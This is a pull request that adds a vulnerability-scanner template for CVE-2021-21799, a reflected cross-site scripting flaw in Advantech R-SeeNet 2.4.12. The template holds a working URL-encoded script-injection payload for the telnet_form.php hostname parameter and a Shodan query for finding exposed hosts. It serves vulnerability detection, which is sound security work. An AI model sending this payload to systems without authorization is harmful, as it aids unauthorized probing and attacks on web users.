Merge pull request #5010 from arafatansari/patch-40

Create CVE-2021-21799.yaml

cves/2021/CVE-2021-21799.yaml

@@ -0,0 +1,37 @@
+id: CVE-2021-21799
+
+info:
+  name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the telnet_form.php script functionality.
+  reference:
+    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21799
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21799
+  metadata:
+    verified: true
+    shodan-query: http.html:"R-SeeNet"
+  tags: cve,cve2021,xss,r-seenet
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<title>Telnet </title><script>alert(document.domain)</script><title></title>"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200